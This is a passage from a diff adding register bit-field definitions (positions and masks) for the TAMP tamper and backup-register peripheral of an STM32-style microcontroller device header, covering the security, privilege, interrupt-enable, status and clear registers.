TAMP_SECCFGR_BKPRWSEC_Pos) /*!< 0x00000002 */ +#define TAMP_SECCFGR_BKPRWSEC_2 (0x4UL << TAMP_SECCFGR_BKPRWSEC_Pos) /*!< 0x00000004 */ +#define TAMP_SECCFGR_BKPRWSEC_3 (0x8UL << TAMP_SECCFGR_BKPRWSEC_Pos) /*!< 0x00000008 */ +#define TAMP_SECCFGR_BKPRWSEC_4 (0x10UL << TAMP_SECCFGR_BKPRWSEC_Pos) /*!< 0x00000010 */ +#define TAMP_SECCFGR_BKPRWSEC_5 (0x20UL << TAMP_SECCFGR_BKPRWSEC_Pos) /*!< 0x00000020 */ +#define TAMP_SECCFGR_BKPRWSEC_6 (0x40UL << TAMP_SECCFGR_BKPRWSEC_Pos) /*!< 0x00000040 */ +#define TAMP_SECCFGR_BKPRWSEC_7 (0x80UL << TAMP_SECCFGR_BKPRWSEC_Pos) /*!< 0x00000080 */ +#define TAMP_SECCFGR_CNT1SEC_Pos (15U) +#define TAMP_SECCFGR_CNT1SEC_Msk (0x1UL << TAMP_SECCFGR_CNT1SEC_Pos) /*!< 0x00008000 */ +#define TAMP_SECCFGR_CNT1SEC TAMP_SECCFGR_CNT1SEC_Msk +#define TAMP_SECCFGR_BKPWSEC_Pos (16U) +#define TAMP_SECCFGR_BKPWSEC_Msk (0xFFUL << TAMP_SECCFGR_BKPWSEC_Pos) /*!< 0x00FF0000 */ +#define TAMP_SECCFGR_BKPWSEC TAMP_SECCFGR_BKPWSEC_Msk +#define TAMP_SECCFGR_BKPWSEC_0 (0x1UL << TAMP_SECCFGR_BKPWSEC_Pos) /*!< 0x00010000 */ +#define TAMP_SECCFGR_BKPWSEC_1 (0x2UL << TAMP_SECCFGR_BKPWSEC_Pos) /*!< 0x00020000 */ +#define TAMP_SECCFGR_BKPWSEC_2 (0x4UL << TAMP_SECCFGR_BKPWSEC_Pos) /*!< 0x00040000 */ +#define TAMP_SECCFGR_BKPWSEC_3 (0x8UL << TAMP_SECCFGR_BKPWSEC_Pos) /*!< 0x00080000 */ +#define TAMP_SECCFGR_BKPWSEC_4 (0x10UL << TAMP_SECCFGR_BKPWSEC_Pos) /*!< 0x00100000 */ +#define TAMP_SECCFGR_BKPWSEC_5 (0x20UL << TAMP_SECCFGR_BKPWSEC_Pos) /*!< 0x00200000 */ +#define TAMP_SECCFGR_BKPWSEC_6 (0x40UL << TAMP_SECCFGR_BKPWSEC_Pos) /*!< 0x00400000 */ +#define TAMP_SECCFGR_BKPWSEC_7 (0x80UL << TAMP_SECCFGR_BKPWSEC_Pos) /*!< 0x00800000 */ +#define TAMP_SECCFGR_BHKLOCK_Pos (30U) +#define TAMP_SECCFGR_BHKLOCK_Msk (0x1UL << TAMP_SECCFGR_BHKLOCK_Pos) /*!< 0x40000000 */ +#define TAMP_SECCFGR_BHKLOCK TAMP_SECCFGR_BHKLOCK_Msk +#define TAMP_SECCFGR_TAMPSEC_Pos (31U) +#define TAMP_SECCFGR_TAMPSEC_Msk (0x1UL << TAMP_SECCFGR_TAMPSEC_Pos) /*!< 0x80000000 */ +#define TAMP_SECCFGR_TAMPSEC TAMP_SECCFGR_TAMPSEC_Msk + +/******************** Bits definition for TAMP_PRIVCFGR register ************/ +#define TAMP_PRIVCFGR_CNT1PRIV_Pos (15U) +#define TAMP_PRIVCFGR_CNT1PRIV_Msk (0x1UL << TAMP_PRIVCFGR_CNT1PRIV_Pos) /*!< 0x20000000 */ +#define TAMP_PRIVCFGR_CNT1PRIV TAMP_PRIVCFGR_CNT1PRIV_Msk +#define TAMP_PRIVCFGR_BKPRWPRIV_Pos (29U) +#define TAMP_PRIVCFGR_BKPRWPRIV_Msk (0x1UL << TAMP_PRIVCFGR_BKPRWPRIV_Pos) /*!< 0x20000000 */ +#define TAMP_PRIVCFGR_BKPRWPRIV TAMP_PRIVCFGR_BKPRWPRIV_Msk +#define TAMP_PRIVCFGR_BKPWPRIV_Pos (30U) +#define TAMP_PRIVCFGR_BKPWPRIV_Msk (0x1UL << TAMP_PRIVCFGR_BKPWPRIV_Pos) /*!< 0x40000000 */ +#define TAMP_PRIVCFGR_BKPWPRIV TAMP_PRIVCFGR_BKPWPRIV_Msk +#define TAMP_PRIVCFGR_TAMPPRIV_Pos (31U) +#define TAMP_PRIVCFGR_TAMPPRIV_Msk (0x1UL << TAMP_PRIVCFGR_TAMPPRIV_Pos) /*!< 0x80000000 */ +#define TAMP_PRIVCFGR_TAMPPRIV TAMP_PRIVCFGR_TAMPPRIV_Msk + +/******************** Bits definition for TAMP_IER register *****************/ +#define TAMP_IER_TAMP1IE_Pos (0U) +#define TAMP_IER_TAMP1IE_Msk (0x1UL << TAMP_IER_TAMP1IE_Pos) /*!< 0x00000001 */ +#define TAMP_IER_TAMP1IE TAMP_IER_TAMP1IE_Msk +#define TAMP_IER_TAMP2IE_Pos (1U) +#define TAMP_IER_TAMP2IE_Msk (0x1UL << TAMP_IER_TAMP2IE_Pos) /*!< 0x00000002 */ +#define TAMP_IER_TAMP2IE TAMP_IER_TAMP2IE_Msk +#define TAMP_IER_TAMP3IE_Pos (2U) +#define TAMP_IER_TAMP3IE_Msk (0x1UL << TAMP_IER_TAMP3IE_Pos) /*!< 0x00000004 */ +#define TAMP_IER_TAMP3IE TAMP_IER_TAMP3IE_Msk +#define TAMP_IER_TAMP4IE_Pos (3U) +#define TAMP_IER_TAMP4IE_Msk (0x1UL << TAMP_IER_TAMP4IE_Pos) /*!< 0x00000008 */ +#define TAMP_IER_TAMP4IE TAMP_IER_TAMP4IE_Msk +#define TAMP_IER_TAMP5IE_Pos (4U) +#define TAMP_IER_TAMP5IE_Msk (0x1UL << TAMP_IER_TAMP5IE_Pos) /*!< 0x00000010 */ +#define TAMP_IER_TAMP5IE TAMP_IER_TAMP5IE_Msk +#define TAMP_IER_TAMP6IE_Pos (5U) +#define TAMP_IER_TAMP6IE_Msk (0x1UL << TAMP_IER_TAMP6IE_Pos) /*!< 0x00000020 */ +#define TAMP_IER_TAMP6IE TAMP_IER_TAMP6IE_Msk +#define TAMP_IER_TAMP7IE_Pos (6U) +#define TAMP_IER_TAMP7IE_Msk (0x1UL << TAMP_IER_TAMP7IE_Pos) /*!< 0x00000040 */ +#define TAMP_IER_TAMP7IE TAMP_IER_TAMP7IE_Msk +#define TAMP_IER_TAMP8IE_Pos (7U) +#define TAMP_IER_TAMP8IE_Msk (0x1UL << TAMP_IER_TAMP8IE_Pos) /*!< 0x00000080 */ +#define TAMP_IER_TAMP8IE TAMP_IER_TAMP8IE_Msk +#define TAMP_IER_ITAMP1IE_Pos (16U) +#define TAMP_IER_ITAMP1IE_Msk (0x1UL << TAMP_IER_ITAMP1IE_Pos) /*!< 0x00010000 */ +#define TAMP_IER_ITAMP1IE TAMP_IER_ITAMP1IE_Msk +#define TAMP_IER_ITAMP2IE_Pos (17U) +#define TAMP_IER_ITAMP2IE_Msk (0x1UL << TAMP_IER_ITAMP2IE_Pos) /*!< 0x00020000 */ +#define TAMP_IER_ITAMP2IE TAMP_IER_ITAMP2IE_Msk +#define TAMP_IER_ITAMP3IE_Pos (18U) +#define TAMP_IER_ITAMP3IE_Msk (0x1UL << TAMP_IER_ITAMP3IE_Pos) /*!< 0x00040000 */ +#define TAMP_IER_ITAMP3IE TAMP_IER_ITAMP3IE_Msk +#define TAMP_IER_ITAMP4IE_Pos (19U) +#define TAMP_IER_ITAMP4IE_Msk (0x1UL << TAMP_IER_ITAMP4IE_Pos) /*!< 0x00080000 */ +#define TAMP_IER_ITAMP4IE TAMP_IER_ITAMP4IE_Msk +#define TAMP_IER_ITAMP5IE_Pos (20U) +#define TAMP_IER_ITAMP5IE_Msk (0x1UL << TAMP_IER_ITAMP5IE_Pos) /*!< 0x00100000 */ +#define TAMP_IER_ITAMP5IE TAMP_IER_ITAMP5IE_Msk +#define TAMP_IER_ITAMP6IE_Pos (21U) +#define TAMP_IER_ITAMP6IE_Msk (0x1UL << TAMP_IER_ITAMP6IE_Pos) /*!< 0x00200000 */ +#define TAMP_IER_ITAMP6IE TAMP_IER_ITAMP6IE_Msk +#define TAMP_IER_ITAMP7IE_Pos (22U) +#define TAMP_IER_ITAMP7IE_Msk (0x1UL << TAMP_IER_ITAMP7IE_Pos) /*!< 0x00400000 */ +#define TAMP_IER_ITAMP7IE TAMP_IER_ITAMP7IE_Msk +#define TAMP_IER_ITAMP8IE_Pos (23U) +#define TAMP_IER_ITAMP8IE_Msk (0x1UL << TAMP_IER_ITAMP8IE_Pos) /*!< 0x00800000 */ +#define TAMP_IER_ITAMP8IE TAMP_IER_ITAMP8IE_Msk +#define TAMP_IER_ITAMP9IE_Pos (24U) +#define TAMP_IER_ITAMP9IE_Msk (0x1UL << TAMP_IER_ITAMP9IE_Pos) /*!< 0x01000000 */ +#define TAMP_IER_ITAMP9IE TAMP_IER_ITAMP9IE_Msk +#define TAMP_IER_ITAMP11IE_Pos (26U) +#define TAMP_IER_ITAMP11IE_Msk (0x1UL << TAMP_IER_ITAMP11IE_Pos) /*!< 0x04000000 */ +#define TAMP_IER_ITAMP11IE TAMP_IER_ITAMP11IE_Msk +#define TAMP_IER_ITAMP12IE_Pos (27U) +#define TAMP_IER_ITAMP12IE_Msk (0x1UL << TAMP_IER_ITAMP12IE_Pos) /*!< 0x08000000 */ +#define TAMP_IER_ITAMP12IE TAMP_IER_ITAMP12IE_Msk +#define TAMP_IER_ITAMP13IE_Pos (28U) +#define TAMP_IER_ITAMP13IE_Msk (0x1UL << TAMP_IER_ITAMP13IE_Pos) /*!< 0x10000000 */ +#define TAMP_IER_ITAMP13IE TAMP_IER_ITAMP13IE_Msk +#define TAMP_IER_ITAMP15IE_Pos (30U) +#define TAMP_IER_ITAMP15IE_Msk (0x1UL << TAMP_IER_ITAMP15IE_Pos) /*!< 0x40000000 */ +#define TAMP_IER_ITAMP15IE TAMP_IER_ITAMP15IE_Msk + +/******************** Bits definition for TAMP_SR register *****************/ +#define TAMP_SR_TAMP1F_Pos (0U) +#define TAMP_SR_TAMP1F_Msk (0x1UL << TAMP_SR_TAMP1F_Pos) /*!< 0x00000001 */ +#define TAMP_SR_TAMP1F TAMP_SR_TAMP1F_Msk +#define TAMP_SR_TAMP2F_Pos (1U) +#define TAMP_SR_TAMP2F_Msk (0x1UL << TAMP_SR_TAMP2F_Pos) /*!< 0x00000002 */ +#define TAMP_SR_TAMP2F TAMP_SR_TAMP2F_Msk +#define TAMP_SR_TAMP3F_Pos (2U) +#define TAMP_SR_TAMP3F_Msk (0x1UL << TAMP_SR_TAMP3F_Pos) /*!< 0x00000004 */ +#define TAMP_SR_TAMP3F TAMP_SR_TAMP3F_Msk +#define TAMP_SR_TAMP4F_Pos (3U) +#define TAMP_SR_TAMP4F_Msk (0x1UL << TAMP_SR_TAMP4F_Pos) /*!< 0x00000008 */ +#define TAMP_SR_TAMP4F TAMP_SR_TAMP4F_Msk +#define TAMP_SR_TAMP5F_Pos (4U) +#define TAMP_SR_TAMP5F_Msk (0x1UL << TAMP_SR_TAMP5F_Pos) /*!< 0x00000010 */ +#define TAMP_SR_TAMP5F TAMP_SR_TAMP5F_Msk +#define TAMP_SR_TAMP6F_Pos (5U) +#define TAMP_SR_TAMP6F_Msk (0x1UL << TAMP_SR_TAMP6F_Pos) /*!< 0x00000020 */ +#define TAMP_SR_TAMP6F TAMP_SR_TAMP6F_Msk +#define TAMP_SR_TAMP7F_Pos (6U) +#define TAMP_SR_TAMP7F_Msk (0x1UL << TAMP_SR_TAMP7F_Pos) /*!< 0x00000040 */ +#define TAMP_SR_TAMP7F TAMP_SR_TAMP7F_Msk +#define TAMP_SR_TAMP8F_Pos (7U) +#define TAMP_SR_TAMP8F_Msk (0x1UL << TAMP_SR_TAMP8F_Pos) /*!< 0x00000080 */ +#define TAMP_SR_TAMP8F TAMP_SR_TAMP8F_Msk +#define TAMP_SR_ITAMP1F_Pos (16U) +#define TAMP_SR_ITAMP1F_Msk (0x1UL << TAMP_SR_ITAMP1F_Pos) /*!< 0x00010000 */ +#define TAMP_SR_ITAMP1F TAMP_SR_ITAMP1F_Msk +#define TAMP_SR_ITAMP2F_Pos (17U) +#define TAMP_SR_ITAMP2F_Msk (0x1UL << TAMP_SR_ITAMP2F_Pos) /*!< 0x00020000 */ +#define TAMP_SR_ITAMP2F TAMP_SR_ITAMP2F_Msk +#define TAMP_SR_ITAMP3F_Pos (18U) +#define TAMP_SR_ITAMP3F_Msk (0x1UL << TAMP_SR_ITAMP3F_Pos) /*!< 0x00040000 */ +#define TAMP_SR_ITAMP3F TAMP_SR_ITAMP3F_Msk +#define TAMP_SR_ITAMP4F_Pos (19U) +#define TAMP_SR_ITAMP4F_Msk (0x1UL << TAMP_SR_ITAMP4F_Pos) /*!< 0x00080000 */ +#define TAMP_SR_ITAMP4F TAMP_SR_ITAMP4F_Msk +#define TAMP_SR_ITAMP5F_Pos (20U) +#define TAMP_SR_ITAMP5F_Msk (0x1UL << TAMP_SR_ITAMP5F_Pos) /*!< 0x00100000 */ +#define TAMP_SR_ITAMP5F TAMP_SR_ITAMP5F_Msk +#define TAMP_SR_ITAMP6F_Pos (21U) +#define TAMP_SR_ITAMP6F_Msk (0x1UL << TAMP_SR_ITAMP6F_Pos) /*!< 0x00200000 */ +#define TAMP_SR_ITAMP6F TAMP_SR_ITAMP6F_Msk +#define TAMP_SR_ITAMP7F_Pos (22U) +#define TAMP_SR_ITAMP7F_Msk (0x1UL << TAMP_SR_ITAMP7F_Pos) /*!< 0x00400000 */ +#define TAMP_SR_ITAMP7F TAMP_SR_ITAMP7F_Msk +#define TAMP_SR_ITAMP8F_Pos (23U) +#define TAMP_SR_ITAMP8F_Msk (0x1UL << TAMP_SR_ITAMP8F_Pos) /*!< 0x00800000 */ +#define TAMP_SR_ITAMP8F TAMP_SR_ITAMP8F_Msk +#define TAMP_SR_ITAMP9F_Pos (24U) +#define TAMP_SR_ITAMP9F_Msk (0x1UL << TAMP_SR_ITAMP9F_Pos) /*!< 0x01000000 */ +#define TAMP_SR_ITAMP9F TAMP_SR_ITAMP9F_Msk +#define TAMP_SR_ITAMP11F_Pos (26U) +#define TAMP_SR_ITAMP11F_Msk (0x1UL << TAMP_SR_ITAMP11F_Pos) /*!< 0x04000000 */ +#define TAMP_SR_ITAMP11F TAMP_SR_ITAMP11F_Msk +#define TAMP_SR_ITAMP12F_Pos (27U) +#define TAMP_SR_ITAMP12F_Msk (0x1UL << TAMP_SR_ITAMP12F_Pos) /*!< 0x08000000 */ +#define TAMP_SR_ITAMP12F TAMP_SR_ITAMP12F_Msk +#define TAMP_SR_ITAMP13F_Pos (28U) +#define TAMP_SR_ITAMP13F_Msk (0x1UL << TAMP_SR_ITAMP13F_Pos) /*!< 0x10000000 */ +#define TAMP_SR_ITAMP13F TAMP_SR_ITAMP13F_Msk +#define TAMP_SR_ITAMP15F_Pos (30U) +#define TAMP_SR_ITAMP15F_Msk (0x1UL << TAMP_SR_ITAMP15F_Pos) /*!< 0x40000000 */ +#define TAMP_SR_ITAMP15F TAMP_SR_ITAMP15F_Msk + +/******************** Bits definition for TAMP_MISR register ****************/ +#define TAMP_MISR_TAMP1MF_Pos (0U) +#define TAMP_MISR_TAMP1MF_Msk (0x1UL << TAMP_MISR_TAMP1MF_Pos) /*!< 0x00000001 */ +#define TAMP_MISR_TAMP1MF TAMP_MISR_TAMP1MF_Msk +#define TAMP_MISR_TAMP2MF_Pos (1U) +#define TAMP_MISR_TAMP2MF_Msk (0x1UL << TAMP_MISR_TAMP2MF_Pos) /*!< 0x00000002 */ +#define TAMP_MISR_TAMP2MF TAMP_MISR_TAMP2MF_Msk +#define TAMP_MISR_TAMP3MF_Pos (2U) +#define TAMP_MISR_TAMP3MF_Msk (0x1UL << TAMP_MISR_TAMP3MF_Pos) /*!< 0x00000004 */ +#define TAMP_MISR_TAMP3MF TAMP_MISR_TAMP3MF_Msk +#define TAMP_MISR_TAMP4MF_Pos (3U) +#define TAMP_MISR_TAMP4MF_Msk (0x1UL << TAMP_MISR_TAMP4MF_Pos) /*!< 0x00000008 */ +#define TAMP_MISR_TAMP4MF TAMP_MISR_TAMP4MF_Msk +#define TAMP_MISR_TAMP5MF_Pos (4U) +#define TAMP_MISR_TAMP5MF_Msk (0x1UL << TAMP_MISR_TAMP5MF_Pos) /*!< 0x00000010 */ +#define TAMP_MISR_TAMP5MF TAMP_MISR_TAMP5MF_Msk +#define TAMP_MISR_TAMP6MF_Pos (5U) +#define TAMP_MISR_TAMP6MF_Msk (0x1UL << TAMP_MISR_TAMP6MF_Pos) /*!< 0x00000020 */ +#define TAMP_MISR_TAMP6MF TAMP_MISR_TAMP6MF_Msk +#define TAMP_MISR_TAMP7MF_Pos (6U) +#define TAMP_MISR_TAMP7MF_Msk (0x1UL << TAMP_MISR_TAMP7MF_Pos) /*!< 0x00000040 */ +#define TAMP_MISR_TAMP7MF TAMP_MISR_TAMP7MF_Msk +#define TAMP_MISR_TAMP8MF_Pos (7U) +#define TAMP_MISR_TAMP8MF_Msk (0x1UL << TAMP_MISR_TAMP8MF_Pos) /*!< 0x00000080 */ +#define TAMP_MISR_TAMP8MF TAMP_MISR_TAMP8MF_Msk +#define TAMP_MISR_ITAMP1MF_Pos (16U) +#define TAMP_MISR_ITAMP1MF_Msk (0x1UL << TAMP_MISR_ITAMP1MF_Pos) /*!< 0x00010000 */ +#define TAMP_MISR_ITAMP1MF TAMP_MISR_ITAMP1MF_Msk +#define TAMP_MISR_ITAMP2MF_Pos (17U) +#define TAMP_MISR_ITAMP2MF_Msk (0x1UL << TAMP_MISR_ITAMP2MF_Pos) /*!< 0x00020000 */ +#define TAMP_MISR_ITAMP2MF TAMP_MISR_ITAMP2MF_Msk +#define TAMP_MISR_ITAMP3MF_Pos (18U) +#define TAMP_MISR_ITAMP3MF_Msk (0x1UL << TAMP_MISR_ITAMP3MF_Pos) /*!< 0x00040000 */ +#define TAMP_MISR_ITAMP3MF TAMP_MISR_ITAMP3MF_Msk +#define TAMP_MISR_ITAMP4MF_Pos (19U) +#define TAMP_MISR_ITAMP4MF_Msk (0x1UL << TAMP_MISR_ITAMP4MF_Pos) /*!< 0x00080000 */ +#define TAMP_MISR_ITAMP4MF TAMP_MISR_ITAMP4MF_Msk +#define TAMP_MISR_ITAMP5MF_Pos (20U) +#define TAMP_MISR_ITAMP5MF_Msk (0x1UL << TAMP_MISR_ITAMP5MF_Pos) /*!< 0x00100000 */ +#define TAMP_MISR_ITAMP5MF TAMP_MISR_ITAMP5MF_Msk +#define TAMP_MISR_ITAMP6MF_Pos (21U) +#define TAMP_MISR_ITAMP6MF_Msk (0x1UL << TAMP_MISR_ITAMP6MF_Pos) /*!< 0x00200000 */ +#define TAMP_MISR_ITAMP6MF TAMP_MISR_ITAMP6MF_Msk +#define TAMP_MISR_ITAMP7MF_Pos (22U) +#define TAMP_MISR_ITAMP7MF_Msk (0x1UL << TAMP_MISR_ITAMP7MF_Pos) /*!< 0x00400000 */ +#define TAMP_MISR_ITAMP7MF TAMP_MISR_ITAMP7MF_Msk +#define TAMP_MISR_ITAMP8MF_Pos (23U) +#define TAMP_MISR_ITAMP8MF_Msk (0x1UL << TAMP_MISR_ITAMP8MF_Pos) /*!< 0x00800000 */ +#define TAMP_MISR_ITAMP8MF TAMP_MISR_ITAMP8MF_Msk +#define TAMP_MISR_ITAMP9MF_Pos (24U) +#define TAMP_MISR_ITAMP9MF_Msk (0x1UL << TAMP_MISR_ITAMP9MF_Pos) /*!< 0x01000000 */ +#define TAMP_MISR_ITAMP9MF TAMP_MISR_ITAMP9MF_Msk +#define TAMP_MISR_ITAMP11MF_Pos (26U) +#define TAMP_MISR_ITAMP11MF_Msk (0x1UL << TAMP_MISR_ITAMP11MF_Pos) /*!< 0x04000000 */ +#define TAMP_MISR_ITAMP11MF TAMP_MISR_ITAMP11MF_Msk +#define TAMP_MISR_ITAMP12MF_Pos (27U) +#define TAMP_MISR_ITAMP12MF_Msk (0x1UL << TAMP_MISR_ITAMP12MF_Pos) /*!< 0x08000000 */ +#define TAMP_MISR_ITAMP12MF TAMP_MISR_ITAMP12MF_Msk +#define TAMP_MISR_ITAMP13MF_Pos (28U) +#define TAMP_MISR_ITAMP13MF_Msk (0x1UL << TAMP_MISR_ITAMP13MF_Pos) /*!< 0x10000000 */ +#define TAMP_MISR_ITAMP13MF TAMP_MISR_ITAMP13MF_Msk +#define TAMP_MISR_ITAMP15MF_Pos (30U) +#define TAMP_MISR_ITAMP15MF_Msk (0x1UL << TAMP_MISR_ITAMP15MF_Pos) /*!< 0x40000000 */ +#define TAMP_MISR_ITAMP15MF TAMP_MISR_ITAMP15MF_Msk + +/******************** Bits definition for TAMP_SMISR register ************ *****/ +#define TAMP_SMISR_TAMP1MF_Pos (0U) +#define TAMP_SMISR_TAMP1MF_Msk (0x1UL << TAMP_SMISR_TAMP1MF_Pos) /*!< 0x00000001 */ +#define TAMP_SMISR_TAMP1MF TAMP_SMISR_TAMP1MF_Msk +#define TAMP_SMISR_TAMP2MF_Pos (1U) +#define TAMP_SMISR_TAMP2MF_Msk (0x1UL << TAMP_SMISR_TAMP2MF_Pos) /*!< 0x00000002 */ +#define TAMP_SMISR_TAMP2MF TAMP_SMISR_TAMP2MF_Msk +#define TAMP_SMISR_TAMP3MF_Pos (2U) +#define TAMP_SMISR_TAMP3MF_Msk (0x1UL << TAMP_SMISR_TAMP3MF_Pos) /*!< 0x00000004 */ +#define TAMP_SMISR_TAMP3MF TAMP_SMISR_TAMP3MF_Msk +#define TAMP_SMISR_TAMP4MF_Pos (3U) +#define TAMP_SMISR_TAMP4MF_Msk (0x1UL << TAMP_SMISR_TAMP4MF_Pos) /*!< 0x00000008 */ +#define TAMP_SMISR_TAMP4MF TAMP_SMISR_TAMP4MF_Msk +#define TAMP_SMISR_TAMP5MF_Pos (4U) +#define TAMP_SMISR_TAMP5MF_Msk (0x1UL << TAMP_SMISR_TAMP5MF_Pos) /*!< 0x00000010 */ +#define TAMP_SMISR_TAMP5MF TAMP_SMISR_TAMP5MF_Msk +#define TAMP_SMISR_TAMP6MF_Pos (5U) +#define TAMP_SMISR_TAMP6MF_Msk (0x1UL << TAMP_SMISR_TAMP6MF_Pos) /*!< 0x00000020 */ +#define TAMP_SMISR_TAMP6MF TAMP_SMISR_TAMP6MF_Msk +#define TAMP_SMISR_TAMP7MF_Pos (6U) +#define TAMP_SMISR_TAMP7MF_Msk (0x1UL << TAMP_SMISR_TAMP7MF_Pos) /*!< 0x00000040 */ +#define TAMP_SMISR_TAMP7MF TAMP_SMISR_TAMP7MF_Msk +#define TAMP_SMISR_TAMP8MF_Pos (7U) +#define TAMP_SMISR_TAMP8MF_Msk (0x1UL << TAMP_SMISR_TAMP8MF_Pos) /*!< 0x00000080 */ +#define TAMP_SMISR_TAMP8MF TAMP_SMISR_TAMP8MF_Msk +#define TAMP_SMISR_ITAMP1MF_Pos (16U) +#define TAMP_SMISR_ITAMP1MF_Msk (0x1UL << TAMP_SMISR_ITAMP1MF_Pos) /*!< 0x00010000 */ +#define TAMP_SMISR_ITAMP1MF TAMP_SMISR_ITAMP1MF_Msk +#define TAMP_SMISR_ITAMP2MF_Pos (17U) +#define TAMP_SMISR_ITAMP2MF_Msk (0x1UL << TAMP_SMISR_ITAMP2MF_Pos) /*!< 0x00020000 */ +#define TAMP_SMISR_ITAMP2MF TAMP_SMISR_ITAMP2MF_Msk +#define TAMP_SMISR_ITAMP3MF_Pos (18U) +#define TAMP_SMISR_ITAMP3MF_Msk (0x1UL << TAMP_SMISR_ITAMP3MF_Pos) /*!< 0x00040000 */ +#define TAMP_SMISR_ITAMP3MF TAMP_SMISR_ITAMP3MF_Msk +#define TAMP_SMISR_ITAMP4MF_Pos (19U) +#define TAMP_SMISR_ITAMP4MF_Msk (0x1UL << TAMP_SMISR_ITAMP4MF_Pos) /*!< 0x00080000 */ +#define TAMP_SMISR_ITAMP4MF TAMP_SMISR_ITAMP4MF_Msk +#define TAMP_SMISR_ITAMP5MF_Pos (20U) +#define TAMP_SMISR_ITAMP5MF_Msk (0x1UL << TAMP_SMISR_ITAMP5MF_Pos) /*!< 0x00100000 */ +#define TAMP_SMISR_ITAMP5MF TAMP_SMISR_ITAMP5MF_Msk +#define TAMP_SMISR_ITAMP6MF_Pos (21U) +#define TAMP_SMISR_ITAMP6MF_Msk (0x1UL << TAMP_SMISR_ITAMP6MF_Pos) /*!< 0x00200000 */ +#define TAMP_SMISR_ITAMP6MF TAMP_SMISR_ITAMP6MF_Msk +#define TAMP_SMISR_ITAMP7MF_Pos (22U) +#define TAMP_SMISR_ITAMP7MF_Msk (0x1UL << TAMP_SMISR_ITAMP7MF_Pos) /*!< 0x00400000 */ +#define TAMP_SMISR_ITAMP7MF TAMP_SMISR_ITAMP7MF_Msk +#define TAMP_SMISR_ITAMP8MF_Pos (23U) +#define TAMP_SMISR_ITAMP8MF_Msk (0x1UL << TAMP_SMISR_ITAMP8MF_Pos) /*!< 0x00800000 */ +#define TAMP_SMISR_ITAMP8MF TAMP_SMISR_ITAMP8MF_Msk +#define TAMP_SMISR_ITAMP9MF_Pos (24U) +#define TAMP_SMISR_ITAMP9MF_Msk (0x1UL << TAMP_SMISR_ITAMP9MF_Pos) /*!< 0x00100000 */ +#define TAMP_SMISR_ITAMP9MF TAMP_SMISR_ITAMP9MF_Msk +#define TAMP_SMISR_ITAMP11MF_Pos (26U) +#define TAMP_SMISR_ITAMP11MF_Msk (0x1UL << TAMP_SMISR_ITAMP11MF_Pos) /*!< 0x00400000 */ +#define TAMP_SMISR_ITAMP11MF TAMP_SMISR_ITAMP11MF_Msk +#define TAMP_SMISR_ITAMP12MF_Pos (27U) +#define TAMP_SMISR_ITAMP12MF_Msk (0x1UL << TAMP_SMISR_ITAMP12MF_Pos) /*!< 0x08000000 */ +#define TAMP_SMISR_ITAMP12MF TAMP_SMISR_ITAMP12MF_Msk +#define TAMP_SMISR_ITAMP13MF_Pos (28U) +#define TAMP_SMISR_ITAMP13MF_Msk (0x1UL << TAMP_SMISR_ITAMP13MF_Pos) /*!< 0x10000000 */ +#define TAMP_SMISR_ITAMP13MF TAMP_SMISR_ITAMP13MF_Msk +#define TAMP_SMISR_ITAMP15MF_Pos (30U) +#define TAMP_SMISR_ITAMP15MF_Msk (0x1UL << TAMP_SMISR_ITAMP15MF_Pos) /*!< 0x40000000 */ +#define TAMP_SMISR_ITAMP15MF TAMP_SMISR_ITAMP15MF_Msk + +/******************** Bits definition for TAMP_SCR register *****************/ +#define TAMP_SCR_CTAMP1F_Pos (0U) +#define TAMP_SCR_CTAMP1F_Msk (0x1UL << TAMP_SCR_CTAMP1F_Pos) /*!< 0x00000001 */ +#define TAMP_SCR_CTAMP1F TAMP_SCR_CTAMP1F_Msk +#define TAMP_SCR_CTAMP2F_Pos (1U) +#define TAMP_SCR_CTAMP2F_Msk (0x1UL << TAMP_SCR_CTAMP2F_Pos) /*!< 0x00000002 */ +#define TAMP_SCR_CTAMP2F TAMP_SCR_CTAMP2F_Msk +#define TAMP_SCR_CTAMP3F_Pos (2U) +#define TAMP_SCR_CTAMP3F_Msk (0x1UL << TAMP_SCR_CTAMP3F_Pos) /*!< 0x00000004 */ +#define TAMP_SCR_CTAMP3F TAMP_SCR_CTAMP3F_Msk +#define TAMP_SCR_CTAMP4F_Pos (3U) +#define TAMP_SCR_CTAMP4F_Msk (0x1UL << TAMP_SCR_CTAMP4F_Pos) /*!< 0x00000008 */ +#define TAMP_SCR_CTAMP4F TAMP_SCR_CTAMP4F_Msk +#define TAMP_SCR_CTAMP5F_Pos (4U) +#define TAMP_SCR_CTAMP5F_Msk (0x1UL << TAMP_SCR_CTAMP5F_Pos) /*!< 0x00000010 */ +#define TAMP_SCR_CTAMP5F TAMP_SCR_CTAMP5F_Msk +#define TAMP_SCR_CTAMP6F_Pos (5U) +#define TAMP_SCR_CTAMP6F_Msk (0x1UL << TAMP_SCR_CTAMP6F_Pos) /*!< 0x00000020 */ +#define TAMP_SCR_CTAMP6F TAMP_SCR_CTAMP6F_Msk +#define TAMP_SCR_CTAMP7F_Pos (6U) +#define TAMP_SCR_CTAMP7F_Msk (0x1UL << TAMP_SCR_CTAMP7F_Pos) /*!< 0x00000040 */ +#define TAMP_SCR_CTAMP7F TAMP_SCR_CTAMP7F_Msk +#define TAMP_SCR_CTAMP8F_Pos (7U) +#define TAMP_SCR_CTAMP8F_Msk (0x1UL << TAMP_SCR_CTAMP8F_Pos) /*!< 0x00000080 */ +#define TAMP_SCR_CTAMP8F TAMP_SCR_CTAMP8F_Msk +#define TAMP_SCR_CITAMP1F_Pos (16U) +#define TAMP_SCR_CITAMP1F_Msk (0x1UL << TAMP_SCR_CITAMP1F_Pos) /*!< 0x00010000 */ +#define TAMP_SCR_CITAMP1F TAMP_SCR_CITAMP1F_Msk +#define TAMP_SCR_CITAMP2F_Pos (17U) +#define TAMP_SCR_CITAMP2F_Msk (0x1UL << TAMP_SCR_CITAMP2F_Pos) /*!< 0x00020000 */ +#define TAMP_SCR_CITAMP2F TAMP_SCR_CITAMP2F_Msk +#define TAMP_SCR_CITAMP3F_Pos (18U) +#define TAMP_SCR_CITAMP3F_Msk (0x1UL << TAMP_SCR_CITAMP3F_Pos) /*!< 0x00040000 */ +#define TAMP_SCR_CITAMP3F TAMP_SCR_CITAMP3F_Msk +#define TAMP_SCR_CITAMP4F_Pos (19U) +#define TAMP_SCR_CITAMP4F_Msk (0x1UL << TAMP_SCR_CITAMP4F_Pos) /*!< 0x00080000 */ +#define TAMP_SCR_CITAMP4F TAMP_SCR_CITAMP4F_Msk +#define TAMP_SCR_CITAMP5F_Pos (20U) +#define TAMP_SCR_CITAMP5F_Msk (0x1UL << 